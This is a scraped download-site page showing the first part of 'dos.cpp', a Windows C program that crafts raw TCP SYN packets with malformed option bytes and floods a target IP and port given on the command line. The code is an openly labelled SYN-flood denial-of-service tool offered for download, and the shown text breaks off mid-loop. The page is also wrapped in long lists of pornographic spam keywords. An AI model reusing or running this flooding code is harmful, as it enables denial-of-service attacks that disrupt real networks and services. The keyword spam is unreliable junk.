亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? dos.cpp

?? dos c語言代碼
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
/*****************************/
/* Thanks to Author LionD8   */
#include "stdio.h"
#include "winsock2.h"
#include "windows.h"
#include <ws2tcpip.h>
#include "wchar.h"

#pragma comment(lib, "ws2_32.lib")

#define SIO_RCVALL      _WSAIOW(IOC_VENDOR,1)

char*    TargetIP; // 目標機IP
USHORT    TargetPort; // 目標端口
USHORT    StartPort = 1; // 起始端口
int        Interval; // 發(fā)包時間間隔
UCHAR* outflowbuf = NULL;    //  選項字節(jié)
char* psend = NULL; // 偽造數(shù)據(jù)
DWORD len = 0; // 偽造數(shù)據(jù)長度
USHORT optlen= 0; // 選項字節(jié)長度

// 定義IP首部格式
typedef struct _IPHeader      
{ 
    unsigned char h_verlen;    // 版本和首部長度  
    unsigned char tos;         // 服務(wù)類型       
    unsigned short total_len;  // 總長度 
    unsigned short ident;      // 標識號     
    unsigned short frag_and_flags;  // 段偏移量
    unsigned char ttl;         // 生存時間       
    unsigned char proto;       // 協(xié)議   
    unsigned short checksum;   // 首部校驗和
    unsigned int sourceIP;     // 源IP地址  
    unsigned int destIP;       // 目的地址   
}IPHEADER;

// 定義TCP首部格式
typedef struct _TCPHeader 
{ 
    USHORT th_sport;  // 源端口號        
    USHORT th_dport;  // 目的端口號       
    unsigned int th_seq;  // SEQ序號    
    unsigned int th_ack;  // ACK序號
    unsigned char th_lenres;  //  首部長度    
    unsigned char th_flag;   // 控制位  
    USHORT th_win;  // 窗口大小        
    USHORT th_sum;  // 校驗和        
    USHORT th_urp;  // 緊急指針         
}TCPHEADER; 

// 定義偽首部格式
typedef struct _PSDHeader
{ 
    unsigned long saddr;  // 源地址  
    unsigned long daddr;  // 目的地址 
    char mbz; 
    char ptcl;            // 協(xié)議類型   
    unsigned short tcpl;  // TCP長度
}PSDHEADER;

// 定義攻擊目標結(jié)構(gòu)
typedef struct _AttackObj
{
    DWORD    dwIP; // 目標機IP
    USHORT    uAttackPort[11]; // 目標機端口 
    struct _AttackObj*    Next; 
}ATOBJ;


ATOBJ*    ListAttackObj=0;
// 初始化原始套接字
BOOL    InitRawSocket();
// 獲取本地IP地址
DWORD    GetLocalIP();
// 計算校驗和
USHORT    checksum(USHORT *buffer, int size);
// 發(fā)送SYN洪水攻擊
DWORD    WINAPI  SYNThreadFlood(LPVOID lp);
// 發(fā)送數(shù)據(jù)
void    SendData(DWORD SEQ, DWORD ACK, 
				 USHORT SPort, USHORT APort, 
				 DWORD SIP, DWORD AIP, char* pBuf,
				 BOOL Isdata,DWORD dwSize);
// 監(jiān)聽端口功能
DWORD   WINAPI  ListeningFunc(LPVOID lpvoid);
// 轉(zhuǎn)換成選項字節(jié)
void ConvertOpt (CHAR* pu);

SOCKET sock = NULL;

int main(int argc, char* argv[])
{
    psend = (char*)malloc(800);
    memset(psend,0x38,799);
    psend[799] = 0;
    len = strlen(psend);
    if ( argc < 3)
    {
        printf("input error!\n");
        return -1;
    }
	// 獲取目標機IP
    TargetIP = strdup(argv[1]);
    TargetPort = atoi(argv[2]);
    // 定義攻擊字符串
    
    if ( argc == 3)
        Interval = 100; // 默認發(fā)包間隔
    if ( argc == 4)
    {   // 獲取發(fā)包間隔參數(shù)
        Interval = atoi(argv[3]);
    }
	CHAR* optbuftemp = "020405B401010402";    
    ConvertOpt (optbuftemp); // 轉(zhuǎn)換溢出字符串
    outflowbuf[3]-=1;
    char HostName[255]={0};
	// 初始化原始套接字
    if ( InitRawSocket() == FALSE )
        return -1;
    if ( outflowbuf != NULL)
    {
        int i=0;
        struct hostent* lp = NULL;
        
        gethostname(HostName,255);
        lp = gethostbyname (HostName);
        while ( lp->h_addr_list[i] != NULL )
        {
            HANDLE    h=NULL;
            DWORD    dwIP=0;    
            dwIP = *(DWORD*)lp->h_addr_list[i++];
			// 創(chuàng)建監(jiān)聽線程
            h=CreateThread(NULL,NULL,ListeningFunc,(LPVOID)dwIP,NULL,NULL);            
            if ( h == NULL )
            {
                printf("Create ListeningFunc Thread Failed!\n");
                return -1;
            }
            Sleep(500);
        }
		    // 發(fā)起SYN洪水攻擊
            SYNThreadFlood(NULL);
    }
    else return -1;
    // 無限發(fā)包開始
    Sleep(INFINITE);

}

// 初始化原始套接字
BOOL InitRawSocket()
{
    BOOL flag;
    int  nTimeOver;
    WSADATA WSAData; 
	// 初始化Winsock庫
    if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
    { 
        printf("WSAStartup Error!\n");
        return FALSE;
    }
	// 設(shè)計攻擊目標相關(guān)參數(shù)
    ListAttackObj = (ATOBJ*) calloc (1,sizeof(ATOBJ));
    ListAttackObj->dwIP = inet_addr( TargetIP );
    ListAttackObj->uAttackPort[0] = htons(TargetPort);
    ListAttackObj->uAttackPort[1] = 0;
    ListAttackObj->Next=NULL;
    sock=NULL;
	// 創(chuàng)建原始套接字
    if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
    {
        printf("Socket Create Failed:%d\n",WSAGetLastError());
        return FALSE;
    }
    flag=true; 
	// 設(shè)置套接字參數(shù)
    if (setsockopt(sock,IPPROTO_IP, 
		IP_HDRINCL,(char *)&flag,
		sizeof(flag))==SOCKET_ERROR) 
    { 
        printf("setsockopt IP_HDRINCL failed:%d\n",WSAGetLastError());
        return FALSE; 
    } 
    nTimeOver=2000;
	// 設(shè)置發(fā)送的時間
    if (setsockopt(sock, SOL_SOCKET, 
		SO_SNDTIMEO, (char*)&nTimeOver, 
		sizeof(nTimeOver))==SOCKET_ERROR)                                
    {
        printf("setsockopt SO_SNDTIMEO failed:%d\n",WSAGetLastError());
        return FALSE; 
    }    
    return TRUE;
}
// SYN洪水攻擊線程函數(shù)
DWORD  WINAPI  SYNThreadFlood(LPVOID lp)
{
    ATOBJ* pAtObj = ListAttackObj;
    SOCKADDR_IN addr_in;
    IPHEADER ipHeader;
    TCPHEADER tcpHeader;
    PSDHEADER psdHeader;
    char szSendBuf[1024]={0};
    int i=0;
	
    while (  pAtObj != NULL )
    {
		// 開始填充IP包和TCP包
        addr_in.sin_family=AF_INET;
        addr_in.sin_addr.S_un.S_addr=pAtObj->dwIP;
        ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
        ipHeader.tos=0;
        ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+optlen);
        ipHeader.ident=1;
        ipHeader.frag_and_flags=0x0040;                
        ipHeader.ttl=0x80;
		// 設(shè)置數(shù)據(jù)包為TCP包
        ipHeader.proto=IPPROTO_TCP;
        ipHeader.checksum=0;
        ipHeader.destIP=pAtObj->dwIP;
		// 設(shè)置源地址為本機IP地址
        ipHeader.sourceIP = GetLocalIP();
        tcpHeader.th_ack=0;    
        tcpHeader.th_lenres = (optlen/4+5)<<4;
        tcpHeader.th_flag=2;             
        tcpHeader.th_win=htons(0x4470);
        tcpHeader.th_urp=0;
        tcpHeader.th_seq=htonl(0x00198288);
        for ( int l=StartPort; l<65535;l++)
        {
            int k =0;
            while ( pAtObj->uAttackPort[k] != 0 )
            {
				// 開始偽造數(shù)據(jù)包
                tcpHeader.th_dport=pAtObj->uAttackPort[k++];
                psdHeader.daddr=ipHeader.destIP;
                psdHeader.mbz=0;
                psdHeader.ptcl=IPPROTO_TCP;
                psdHeader.tcpl=htons(sizeof(tcpHeader));
                int sendnum = 0;            
                int optlentemp = optlen;
                tcpHeader.th_sport=htons(l);
                tcpHeader.th_sum=0;
                psdHeader.saddr=ipHeader.sourceIP;
				// 復(fù)制數(shù)據(jù)段
                memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
                memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 
                memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),outflowbuf,optlentemp);
				// 重新計算校驗和
                tcpHeader.th_sum=checksum((USHORT *)szSendBuf,
					sizeof(psdHeader)+sizeof(tcpHeader)+optlentemp); 
                tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)optlentemp);        
                memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
                memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
                memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader),outflowbuf,optlentemp);
				// 開始向目標機發(fā)送SYN數(shù)據(jù)包
                int rect=sendto(sock, szSendBuf, 
					sizeof(ipHeader)+sizeof(tcpHeader)+optlentemp, 
					0, (struct sockaddr*)&addr_in, sizeof(addr_in));
                if ( sendnum++ > 10 )

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91麻豆精品国产91久久久久| 国产精品综合一区二区| 国产欧美日韩精品一区| 久久午夜国产精品| 欧美成人激情免费网| 91精品久久久久久蜜臀| 91精品国产欧美一区二区成人 | 日韩欧美黄色影院| 色婷婷综合久久久久中文一区二区 | 亚洲精品写真福利| 亚洲视频一区在线| 一区二区三区四区国产精品| 亚洲精品水蜜桃| 亚洲国产一区二区在线播放| 午夜精品在线看| 亚洲va韩国va欧美va| 亚洲一区在线免费观看| 国产精品国产三级国产aⅴ无密码 国产精品国产三级国产aⅴ原创 | 日韩一区二区视频| 精品国产一区二区三区av性色| 欧美成人女星排名| 久久久www成人免费毛片麻豆| 久久综合999| 亚洲日本护士毛茸茸| 亚洲精品日韩一| 日韩精品三区四区| 国产一区二区看久久| 成人激情动漫在线观看| a亚洲天堂av| 337p亚洲精品色噜噜| 日韩午夜在线影院| 国产欧美日本一区视频| 亚洲小说春色综合另类电影| 精品一区二区久久| 99riav一区二区三区| 91精品国产品国语在线不卡| 一区二区三区久久| 日本系列欧美系列| 99国产一区二区三精品乱码| 欧美一级欧美一级在线播放| 国产精品久久久久久久第一福利 | 中文字幕字幕中文在线中不卡视频| 午夜精品久久久久影视| 国产一区在线观看麻豆| 色婷婷综合久久久久中文一区二区 | 欧美精品一区二区三区高清aⅴ| 中文字幕字幕中文在线中不卡视频| 蜜桃av噜噜一区二区三区小说| 处破女av一区二区| 日韩精品综合一本久道在线视频| 国产精品日韩精品欧美在线| 一区二区三区鲁丝不卡| 成人激情动漫在线观看| 日韩免费看的电影| 亚洲一二三四区| 99久久精品一区二区| 精品国产一二三区| 日韩福利电影在线观看| 在线视频观看一区| 国产精品久久久久毛片软件| 久久国内精品视频| 欧美日韩国产美女| 亚洲综合一区二区| 国产不卡视频在线观看| 制服丝袜中文字幕亚洲| 一区二区三区日韩欧美精品| 国产成人精品影视| 精品1区2区在线观看| 偷偷要91色婷婷| 91亚洲永久精品| 久久久久久久网| 国产精品资源在线看| 久久嫩草精品久久久精品| 免费成人av在线播放| 91精品国产综合久久久蜜臀图片| 亚洲综合激情网| 色噜噜狠狠色综合欧洲selulu| 国产欧美中文在线| 国产伦精品一区二区三区视频青涩 | 色综合久久99| 一区二区三区在线视频观看58| 91免费观看视频| 亚洲午夜精品在线| 91精品国产91久久久久久一区二区 | 亚洲欧美视频在线观看视频| 国产高清在线精品| 久久精品欧美一区二区三区不卡| 国产精品18久久久久久久久久久久 | 91精品国产综合久久久久久| 欧美aaaaaa午夜精品| 日韩免费高清视频| 狠狠色丁香久久婷婷综| 久久久夜色精品亚洲| 国产91对白在线观看九色| 欧美国产成人精品| eeuss鲁片一区二区三区在线观看| 亚洲欧美偷拍另类a∨色屁股| 欧美色中文字幕| 亚洲精品欧美在线| 欧美日韩你懂的| 国内成+人亚洲+欧美+综合在线| 国产调教视频一区| 成人午夜短视频| 一区二区三区中文字幕在线观看| 欧美色图片你懂的| 久久精品久久精品| 国产精品亲子伦对白| 成人免费av在线| 亚洲人成小说网站色在线| 91精品国产麻豆国产自产在线 | 国产精品大尺度| 91香蕉视频污在线| 午夜久久久久久久久| 久久这里只有精品首页| 色综合天天综合色综合av | 老司机精品视频导航| 国产精品入口麻豆九色| 日韩欧美一级精品久久| 成人免费高清在线观看| 一区二区不卡在线视频 午夜欧美不卡在 | 欧美大肚乱孕交hd孕妇| 91免费观看视频在线| 麻豆91在线播放免费| 国产精品国产三级国产普通话蜜臀| 色综合色综合色综合色综合色综合| 免费看日韩精品| 国产精品久久久久精k8| 欧美一区二区福利在线| jizzjizzjizz欧美| 捆绑变态av一区二区三区| 亚洲欧美日韩在线| 久久久不卡影院| 日韩精品一区二区三区四区视频 | 欧美做爰猛烈大尺度电影无法无天| 黄页网站大全一区二区| 日韩高清在线不卡| 亚洲综合图片区| 亚洲蜜臀av乱码久久精品| 国产嫩草影院久久久久| 精品久久久久香蕉网| 51午夜精品国产| 制服丝袜中文字幕亚洲| 欧美在线小视频| 在线精品视频小说1| 91麻豆免费看| 成人av在线网| 成人国产精品免费观看动漫| 风流少妇一区二区| 高清国产一区二区三区| 国产成人综合在线播放| 韩国视频一区二区| 麻豆91免费观看| 国模套图日韩精品一区二区| 日韩精品一区在线| 日韩欧美自拍偷拍| 日韩三级在线观看| 日韩天堂在线观看| 日韩免费一区二区| 日韩免费性生活视频播放| 精品欧美乱码久久久久久1区2区| 欧美videossexotv100| 2019国产精品| 欧美激情一区在线观看| 欧美一级黄色片| 国产色产综合色产在线视频| 国产精品每日更新在线播放网址 | a4yy欧美一区二区三区| 夜夜夜精品看看| 亚洲午夜精品网| 水野朝阳av一区二区三区| 午夜日韩在线观看| 久久成人免费电影| 国产99精品国产| 在线亚洲人成电影网站色www| 欧美性受xxxx| eeuss鲁一区二区三区| 亚洲va中文字幕| 日韩高清欧美激情| 欧美日韩免费不卡视频一区二区三区| 日韩av网站免费在线| 一区二区欧美视频| 欧美一区中文字幕| 日韩一卡二卡三卡| 久久新电视剧免费观看| 国产日产欧美一区二区视频| 亚洲激情五月婷婷| 狠狠久久亚洲欧美| 色视频一区二区| 精品区一区二区| 亚洲国产综合91精品麻豆| 国产专区欧美精品| 在线观看日产精品| 久久精品在线观看| 亚洲成人黄色影院| 国产尤物一区二区| 欧美日韩国产美| 亚洲色图一区二区三区| 九色porny丨国产精品| 欧美视频一区二区| 亚洲天堂a在线|